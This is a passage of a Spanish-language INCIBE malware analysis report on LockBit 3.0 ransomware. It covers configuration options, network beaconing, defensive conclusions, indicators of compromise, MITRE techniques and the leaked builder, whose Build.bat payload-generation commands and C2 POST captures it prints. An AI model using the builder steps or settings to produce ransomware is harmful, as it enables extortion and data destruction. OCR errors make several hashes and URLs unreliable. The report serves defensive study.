gate_urls Lista de URL para enviar un mensaje al C2.
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impers_accounts Lista de credenciales usadas para iniciar sesion.

note

Nota de rescate.

Tabla 16. Parametros de cadenas de texto en la configuracion

Parametro Funcionalidad

encrypt_mode

Modo de cifrado para archivos de gran tamafo.

encrypt_filename

Cifrar el nombre de los archivos.

impersionation

Iniciar sesién utilizando credenciales almacenadas.

skip_hidden_folder

Ignorar el cifrado de ficheros ocultos.

language_check

Comprobar si el pais de la victima pertenece al CEl
(Comunidad de Estados Independientes).

local_disk

Cifrar discos locales.

network_shares

Cifrar carpetas compartidas.

kill_processes

Eliminar procesos de una lista.

kill_services Eliminar servicios de una lista.
running_one Crear un mutex.

print_note Imprimir la nota de rescate en la impresora.
set_wallpaper Cambiar el fondo de pantalla.

set_icons Cambiar el icono de los archivos cifrados.

send_report

Enviar un mensaje al C2 al inicio y final de la
ejecucion.

self_destruct

Eliminar el payload al final de la ejecucién.

sill_defender

Eliminar software de antivirus especifico.

wipe_freespace

Desconocido.

psexec_netspread

Propagacion de red utilizando psexec.

gpo_netspread

Propagacion de red utilizando gpo.

gpo_ps_update

Actualizar gpo en todos los dominios utilizando

powershell.

shutdown_system

Reiniciar el equipo.

delete_eventlogs

Eliminar el registro de eventos.

delete_gpo_delay

Eliminar la gpo después de la ejecucion.

Tabla 17. Opciones de configuracion

4.7. Trafico de red

Durante el andlisis de las muestras 4 y 5 no se ha observado tréfico de red. La explicacion
de este comportamiento es que ninguna de ambas muestras se ha creado con el parametro
“send_report” activado.

En el anexo 4 se puede encontrar el proceso seguido para llegar a esta conclusion.
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5. Conclusion

Este estudio refleja claramente cémo el malware de tipo ransomware sigue
evolucionando y adaptandose a los modelos de negocio que existen. Un ejemplo de
esta capacidad de adaptacion se observa al ver el alto nivel de configuracién que admite
LockBit 3.0. Durante el analisis se ha podido observar que es posible ejecutar LockBit con
un token de acceso y también ser ejecutado en un proceso de infeccién desatendido, sin
gque sea necesario ningun token de acceso.

Otro aspecto importante que es necesario resaltar es que, como es habitual en este tipo
de malware, la eliminacién de las shadow copies es uno de los objetivos principales que
se pretende conseguir, ya que asi se dificulta recuperar la informacién. Por este motivo,
desde un punto de vista defensivo, las copias de seguridad y la proteccion de las shadow
copies son un elemento clave para la recuperacion ante este tipo de amenaza.

Por ultimo, resaltar que el uso y, por lo tanto, el disefio de este tipo de malware, ha sufrido
una evolucién, donde en la mayoria de los casos el malware es ejecutado por un operador
gque ya esta en la organizacion, lo que se conoce como Human Operated Ransomware;
por lo que hay que tener en cuenta que si algun sistema de proteccion llega a bloquear la
ejecucion del ransomware, al haber accedido a la organizacion con otro tipo de malware
(Cobalt Strike, Sliver, etc.), se podra intentar desactivar cualquier proteccion hasta
conseguir el cifrado de la informacion.

Cuando este tipo de malware es ejecutado por un operador que ya tiene acceso a la
organizacion puede no ser necesaria la persistencia ni comunicacion con el exterior, asi
como tampoco las capacidades habituales en artefactos de malware. De ahi las diferentes
muestras que se pueden observar de una misma familia.
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Anexo 1: Indicadores de compromiso (loC)

Tipo loC
Sha256 d21d6f469e87fff24f15c3abfbc2524e606e7f648b7d2fd4b600dd858ed75063
Sha256 40ecc89f14febbb7a527310eeec275b7329be0e493c290cc153f357d346e6d81
Sha256 917e115cc403e29b4388e0d175chfac3e7e40cal742299fbdb353847db2de7c2
Sha256 f2861fb09a3581d1d17e73d69al19ba578ba3feec9c7001abb3e54cc536d448cc
Sha256 63c8efcalf52ebealb3b2305e17580402f797a90611b3507fab6fffa7f700383
Sha256 917e115cc403e29b4388e0d175chfac3e7e40cal742299fbdb353847db2de7c2
Sha256 d641ad955ef4cff5f0239072b3990d47e17b9840e07fd5feea93c372147313c5
Sha256 8e83a1727696ced618289f79674b97305d88beeeabf46bd25fc77ac53c1ae339
Sha256 3f7518d88aefd4b1le0ald6f9748f9a9960c1271d679600e34f5065d8df8c9dc8
Sha256 a736269f5f3a9f2e11dd776e352e1801bc28bb699e47876784b8ef761e0062db
Sha256 eabd4dedd8c85e4a6bb60408a0dc1d56deflf4ad4f069c730dc5431b1c23da37
Sha256 80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bbalfededa932ce
Sha256 770cba5f9761fcbd3ecde42d843e62db9cdd964e35ecae94cdb164464853e0eb
Sha256 dbcd8c9daaar7ac165242669c917027a4220def9cf2216c3f2b5a89744cd9f211
Url hxxp://LockBitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion
Url hxxp://LockBitapt2yfbt7lchxejug4 7kmagvqggxvvjpgkmevv4l3azl3gy6pyd.onion
Url hxxp://LockBitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdgugd.onion
Url hxxp://LockBitapt5x4zkjbcqmz6frdhecqqgadevyiwgxukksspnlidyvd7qd.onion
Url hxxp://LockBitapt6vx57t3eegjofwgcglmutr3a35nygvokjasuuccip4ykyd.onion
Url hxxp://LockBitapt72iw55njgngpymggskgSyp75ry7rirtdgdm7i42artsbqd.onion
Url hxxp://LockBitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion
Url hxxp://LockBitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqgd.onion
Url hxxp://LockBitaptc2iq4atewz2ise62q63wfktyrl4gtwuk5gax262kgtzjqd.onion
Url hxxp://LockBitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion.ly
Url hxxp://LockBitapt2yfbt7lchxejug4 7kmgvggxvvjpgkmevv4l3azl3gy6pyd.onion.ly
Url hxxp://LockBitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdgugd.onion.ly
Url hxxp://LockBitapt5x4zkjbcgmz6frdhecqggadevyiwgxukksspnlidyvd7qd.onion.ly
Url hxxp://LockBitapt6vx57t3eegjofwgcglmutr3a35nygvokjaSuuccip4ykyd.onion.ly
Url hxxp://LockBitapt72iw55njgngpymggskg5yp75ry7rirtdgdm7i42artsbqd.onion.ly
Url hxxp://LockBitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion.ly
Url hxxp://LockBitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5rdw2agyekqd.onion.ly
Url hxxp://LockBitaptc2ig4atewz2ise62q63wfktyrldqtwuk5qax262kgtzjqd.onion.ly
Url hxxp://LockBitsupa7e3b4pkn4mgkgojrisiggx24clbzc4xm7i6jeetsia3qd.onion
Url hxxp://LockBitsupdwon76nzykzblcplixwts4n4zoecugz2bxabtapgvmzqqd.onion
Url hxxp://LockBitsupn2h6be2cngpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion
Url hxxp://LockBitsupo7vv5vcl3jxpsdviopwvasljgcstym6efhh6oze7c6xjad.onion
Url hxxp://LockBitsupq3g62dni2f36snrdb4n5qgzqvovbtkiSxffw3draxk6gwagd.onion
Url hxxp://LockBitsupgfyacidréupténhhyipujvaablubuevxj6xy3frthvr3yd.onion
Url hxxp://LockBitsupt7nr3fa6e7xyb73lk6bw6rcneghoyblniiabj4duwvzapgd.onion
Url hxxp://LockBitsupuhswh4izvoucoxsbnotkmgqg6durg7kficgbu33zfvq3oyd.onion
Url hxxp://LockBitsupxcjntihbmat4rrh7ktowips2gzywh6zer5r3xafhviyhgd.onion
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Tabla 18. IoC de LockBit
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Anexo 2: Tacticas, técnicas y procedimientos (TTP)

Téactica Técnica Descripcion
Impact Data Encrypted for T1486 Adversaries may encrypt data
Impact on target systems or on large

numbers of systems in a
network to interrupt availability
to system and network

resources.
Defense Evasion, Process Injection T1055 | Adversaries may inject code
Privilege Escalation into processes in order to

evade process-based
defenses as well as possibly
elevate privileges.

Defense Evasion Impair Defenses T1562 Adversaries may maliciously
modify components of a victim
environment in order to hinder
or disable defensive

mechanisms.
Defense Evasion Obfuscated Files or T1027 | Adversaries may attempt to
Information make an executable or file

difficult to discover or
analyze by encrypting,
encoding, or otherwise
obfuscating its contents on
the system or in transit.

Tabla 19. TTP de LockBit
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Anexo 3: Metodologia

Herramientas utilizadas

A continuacion, se listan todas las herramientas utilizadas durante el analisis:

7z 15.5;
PEstudio;
IDA Pro;
X64dbg;
ScyllaHide;
Capa;
VirtualBox;
CFF Explorer;
ProcessHacker;
Sysmon,;
Autoruns.

Precondiciones

®  Microsoft Windows.
®m Para realizar el andlisis con un depurador es necesario disponer de plugins como
ScyllaHide para conseguir una correcta ejecucion.
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Anexo 4: Informacion sobre el builder de LockBit

El 21 de septiembre de 2022 el usuario @3xpO0rt publicé en GitHub el posible builder
utilizado por el ransomware LockBit 3.0 [13].

Build 27092022 1549 Carpeta de archivos
Build.bat 09/09/2022 2:14 Archivo por lotes ... 1KB
[ builder.exe 14/08/2022 1:31 Aplicacion 470 KB
| configjson 09/08/2022 2:02 Archivo de origen ... S KB
[ keygen.exe 09/09/2022 1:58 Aplicacidn 3N KB

Figura 64. Contenidos del builder

El fichero contiene el archivo “Build.bat”, el cual estd encargado de generar payloads de
LockBit 3.0, utilizando el ejecutable “builder.exe” y la clave publica y privada RSA creada
por el ejecutable “keygen.exe” [14].

ERASE /F /Q cd¥\Build\*.*

keygen -path ¥cd¥\Build -pubkey pub.key -privkey priv.key

builder -type dec -privkey Xcd¥\Build\priv.key -config config.json -ofile Xcd¥\Build\LB3Decryptor.exe

builder -type enc -exe -pubkey %cd¥\Build\pub.key -config config.json -ofile %cd®\Build\LB3.exe

builder -type enc -exe -pass -pubkey ¥cd®\Build\pub.key -config config.json -ofile ¥cd®\Build\LB3_pass.exe

builder -type enc -dll -pubkey ¥cd¥\Build\pub.key -config config.json -ofile ¥cd¥\Build\LB3 Rundl132.d11

builder -type enc -dll -pass -pubkey %cd®\Build\pub.key -config config.json -ofile Xcd¥\Build\LB3_Rundl132 pass.dll
builrer -type enc -ref -pubkey ¥cd¥\Build\pub.key -config config.json -ofile %cd®\Build\LB3_ReflectiveD1ll_DI11lMain.dll
exit

Figura 65. Script de generaciéon
El builder es capaz de generar payloads en formato EXE o DLL que puedan ser ejecutados

con o sin contrasefia. Ademas, genera el descifrador, la “id” de descifrado y archivos con
instrucciones para utilizar las muestras generadas.

DECRYPTIOM_ID.txt 27/09/2022 1549 Documento de te... 1KB
[5E] LB3.exe 27/09/2022 1549 Aplicacidn 134 KB
[55] LB3_pass.exe 27/00/2022 15:49 Aplicacion 150 KB

LB3_ReflectiveDl_DIIMain.dll 27/09/2022 1549 Extension de la ap... 107 KB
LE3_Rundll32.dlIl 27/09/2022 15:49 Extension de la ap... 152 KB
LE3_Rundll32_pass.dil 270972022 1:49 Extension de la ap... 142 KB
3 LB3Decryptor.exe 27/09/2022 15:49 Aplicacion 55 KB
Password_dil txt 27/09/2022 1549 Documento de te.., 2 KB
Password_exetot 27/08/2022 15:49 Documento de te... 3KB
D priv.key 27/09/2022 15:49 Archivo KEY 1KB
| ] pub.key 27/09/2022 15:49 Archive KEY 1KB

Figura 66. Archivos generados por el builder
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El builder utiliza “conf.json” como archivo de configuracion.

1
tings": {

"encrypt_mode”: "
"encrypt_filename":
"impersonation”:
"skip_hidden_folders":
"language check™:
"local disks":
"network_sha
"kill proc
"kill_serv
“running_one”:
"print_note™:
"set_wallpaper”:
"set_icons”:
"send _report”:
"self destruct”:
"kill_defender”:
"wipe freespace”:
"psexec_netspread”:
"gpo_netspread”:
"gpo_ps_update”:
"shutdown_system”:
"delete eventlogs”:
"delete gpo delay”:
"white folders":
"white_files™:
"white_extens”
"white hosts":
"kill_process
"kill_servic
“gate urls™:
"impers_account:

"note"”:

Figura 67. Archivo de configuracién

La funcionalidad de cada parametro se encuentra en la seccién 4.5.

Para comprobar la existencia de exfiltracion y persistencia en las anteriores muestras se
ha generado un payload con la opcién “Delete_eventlogs” desactivada y “Send_report”
activada. Al ejecutar el payload notamos que este envia una Unica peticion POST en
base64.
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POST /?5RYCUJCt=Jblc3jtdSmSXOFKIj&B=WQFBs1I&9LVBZ-x3SQVSWBPEXI7tUX9egs HTTP/1.1
Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

Content-Type: text/plain

User-Agent: Edge/91.0.864.37

Host: c2.com

Content-Length: 968

Cache-Control: no-cache

975GAU=TTe@kovCBSIUeOmo7&bNGBRMZY L =AkadY3FFPN7Z9v&xuMuSp=NWoBduww)SFb1WEBrOX=PTsxHaPZJT j&qnAF=ce0tv4Fx1y2&F2a2gcJQF=&L KzFx3r3g=sNiMG7X0ca7VEN2&ENK=00006000000RD0E0EE0E
006800006000BA&ICE1hIg=5MLNRIQLFaVE4EALOGIYEO=5PVGIT V. 79)z&zAaBwTB=9Naw&CDM=37dmO58DkuhB&ixFcl=zon16aVh2aY6aTdXNuii&Re5wbPB=11T00xzTik3kUFpEk]jqj2oyHXBZKISAYM
6BboB0Sh5wtT7AsssJogd/a7ix)8b77E301z0MasgdK3/zVwXgfUy2Q5272370R ] j4yeslcek73FovnYpStPdaB31B5+bJt4TaCv18rGKboQ3oVsROUGIBIVONX 7 /RUTAgD54reBFudyXQvSjLY2NYBb+PgSIL9Z1/
bKqB2z9WoK+IN3RA InxgPQcUEFdg JheM577PqCGpkrUs AWe FWy1Cn tqWIGkx1+r cQiNKAWY5p0sCSZ12VzsqQWUIbSUR2YF1Ybv24LOmdMbOeDwrwh FYSyBrrjWhiSed4c5SNANF+KOkwE rnTbYSGNCYQZESX9S07pydz4Q
51RzZWTC/dvSeTdkU4vHoyCntirsz484608xKuWgvY6kPyeuyma+bCXPASIFTQLNTWTHKCOELSnVRT3ZZs+UImwiWkpBBDYdOmL1A/BuMmyX6r NSFHABCsbTLnkvNkv/WRG0M6aAQC6TaR  30PKYz43BVFermr TAxu/
C1g8/4xil Ch9vPxU200uBDVpIWft6TeDtzAselABOHOCMNENTIXE/ZOHTITmv41]a8L9Cz TMVRDAFD22PuZr DN/ 59pkXaAFR4=EkuGY=0TFICN&s38=ME2hONVED&I 1L OU=0UpwiWgIOBQLBE3NLHTTP/1.1 200 OK
Content-Length: 258

Content-Type: text/html

Connection: Close

Server: INetSim HTTP Server

Date: Tue, 27 Sep 2022 09:23:16 GMT

<html>
<head>
<title>INetSim default HTML page</title>
</head>
<body>
<p></p>
<p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>
<p align="center">This file is an HTML document.</p>
</body>
</html>

Figura 68. Peticion HTTP

El contenido de la peticidon esta cifrado y se desconoce el mecanismo utilizado.

También se ha observado que cada muestra generada randomiza la cabecera User-Agent,
posiblemente para evadir la deteccion.

POST /?5RYCUJCt=Jblc3]jtdSmSXIFKIj&B=W]FOs1T&9L VB/=x9SQVSWBPGXI7tUX9egs HTTP/1.1
Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

]
Content-Length: 968
Cache-Control: no-cache

975GAU=FTefkovCBSIUeOmo7&bnGERMZYL=AkadY 3FFPNTZ9va&xuMubp=NWoBduww)SFh1WEE rOX=Pfsx
BEEBEE0EERE0E&EICE1NIg=5MLNRIQLFAVE4EARDGIYEO=5PVGOT JvZuedemmmu=29]z 8z Aa0wWT B=0Nawa(
6BboGoShEwtTTAsssJoqd/aTixjBb7TEIO1Zz0MasgdK3/zVwXgTUy2Q527237Z0R ] jdyeslcek73FovnYp!
bKg6z9wWok+IN3R4 InxgPQcUEFdqJheM57FPqCGpkrUws dWeFWwv1CntqWIGKx L+ rcQiNKAWy5p0sCSz12V:
5iRzZWTC/dvS0TdkU4vHoyCntlrsz484608xKuWgvYBkPyeuyma+bCXPASLTFTQLNTWTHKCOELSNVRT3ZZ -
C1g8/4x1LCh9vPxU200uBDYpoWTL6TeDtzASe1ABOHOCMNENTOXE/ZOHTITmyv4Ija8L9Cz TMVRDAFD22P
Content-Length: 258

Content-Type: text/html

Connection: Close

Server: INetSim HTTP Server

Date: Tue, 27 Sep 2022 89:23:16 GMT

<html=
<head=
<title>INetSim default HTML page</title>
</head>
<body=>
<pr</p>
<p align="center">This is the default HTML page for INetSim HTTP server fake r
<p align="center">This file is an HTML document.</p>
=/body=
</html>
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POST /?JbDTjAGPt=3Ni8JhQJwwYkTgLbP&zHNyogRgb=0LExiAQ&Y21j)=CGChbkTIuTYEJekCSh&CHTSLF=
1logl

Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

Contont T 4 + e o

IUser—Agent: SafarifﬁS?.SﬁI

Content-Length: 621
Cache-Control: no-cache

M4d4yll jwl2=000000000000E0000000000000000000EANTTU=BNDITr14puBUgqwlYwOSEKTv=XGHo1iHEODO
arixjBb77E301z0MasgdK3/zVwXgTUy2(52723708R] jdyeslcek73FovnYpStPdab31B5+bJt4TaCv1BrGKb
bBSnvAVTiD]gFS24Kp+WlWeus TW+FOqEXMKEVSiWr jx9husWBIZ2s(jt25513aB3SNjZkxy9BNEa+CMN1bGr DK
XTyFfnXQc7 JHnSTGdSLvXiRpXgZX2e tMPAUPDY+5msM3./
n2mRdoAVHg==&k5vNrwy=PScskeDIKU4YiVGwUGPa&kUdZNcaG=kyqSr&lRA=43Z0et ioU&ZKtVhKFB=LwPh
Content-Length: 258

Date: Tue, 27 Sep 2022 09:24:18 GMT

Server: INetSim HTTP Server

Connection: Close

Content-Type: text/html

<html>
<head>
<title>INetSim default HTML page</title=
</head>
=body>
<p=</p=
<p align="center">This is the default HTML page for INetSim HTTP server Take mod
<p align="center">This file is an HTML document.</p=>
</body=
</html>

Figura 69. Cambios en la cabecera User-Agent

A continuacién, se muestra una tabla con la lista de cabeceras utilizadas por esta peticion
POST. Estas han sido extraidas a partir del script de Python que se encuentra en el anexo
5.

Cabeceras User-Agent

Mozilla/5.0 (Windows NT 6.1)
AppleWebKit/587.38 (KHTML, like Gecko)
Chrome/91.0.4472.77

Safari/537.36

Edge/91.0.864.37

Firefox/89.0

Gecko/20100101

Tabla 20. Cabeceras User-Agent utilizadas por la peticion POST

Utilizando el mismo mecanismo que con las otras muestras podemos obtener el archivo de
configuracion, en el cual observamos que ahora si aparecen las dos URL por defecto.
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string list
b'vss"
sgl®
"swch”
‘memtas "
‘mepocs”
‘msexchange’
"sophos”
"veeam'
"backup’
"GxVss "
"GxBlr’

b*
b
b
b
b
b
b
b
b
b
b*
b*
b*
b

b
string list
b*https://test.white-datasheet.com/"
b’http://test.white-datasheet. com/"
b
b
hash list

Figura 70. C2 en el archivo de configuracion

Al no aparecer el C2 en el archivo de configuracién de las muestras anteriores, estas no
utilizan este parametro y, por tanto, se puede concluir que la filtracibn no estaria
configurada.

Por altimo, y tras ejecutar la aplicacion Autoruns y revisar los eventos de Windows, no se
ha encontrado ninguna evidencia que indique la existencia de persistencia en el equipo.
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Anexo 5: Scripts de Python

A continuacion, se incluyen los scripts desarrollados para la automatizacion de diferentes
tareas sobre las muestras de LockBit:

B Extraccion de configuracion y cadenas de texto:
https://research.openanalysis.net/lockbit/lockbit3/yara/triage/ransomware/2022/07/07/
ockbit3.html

B Emulacion de generacion de contrasefia de 192 bits: https://github.com/INCIBE-
CERT/threat-reports/blob/master/Lockbit%203.0/password generation emulation.py

ESTUDIO DEL ANALISIS DE LOCKBIT TLP:CLEAR



https://research.openanalysis.net/lockbit/lockbit3/yara/triage/ransomware/2022/07/07/lockbit3.html
https://research.openanalysis.net/lockbit/lockbit3/yara/triage/ransomware/2022/07/07/lockbit3.html
https://github.com/INCIBE-CERT/threat-reports/blob/master/Lockbit%203.0/password_generation_emulation.py
https://github.com/INCIBE-CERT/threat-reports/blob/master/Lockbit%203.0/password_generation_emulation.py

Financlado por m et . T Plan de %3 | Ib
la Unién Eu s Py ecuperacién, ini +J gineine__
By e R | digital

INSTITUTO NACIONAL DE CIBERSEGURIDAD

TLP:CLEAR



	ÍNDICE DE FIGURAS
	ÍNDICE DE TABLAS
	1. Sobre este estudio
	2. Organización del documento
	3. Introducción
	4. Informe técnico
	4.1. Información general
	4.2. Análisis detallado
	4.3. Técnicas antidetección y antingeniería inversa
	4.4. Criptografía
	4.5. Parámetros adicionales
	4.6. Configuración
	4.7. Tráfico de red

	5. Conclusión
	6. Referencias
	Anexo 1: Indicadores de compromiso (IoC)
	Anexo 2: Tácticas, técnicas y procedimientos (TTP)
	Anexo 3: Metodología
	Anexo 4: Información sobre el builder de LockBit
	Anexo 5: Scripts de Python



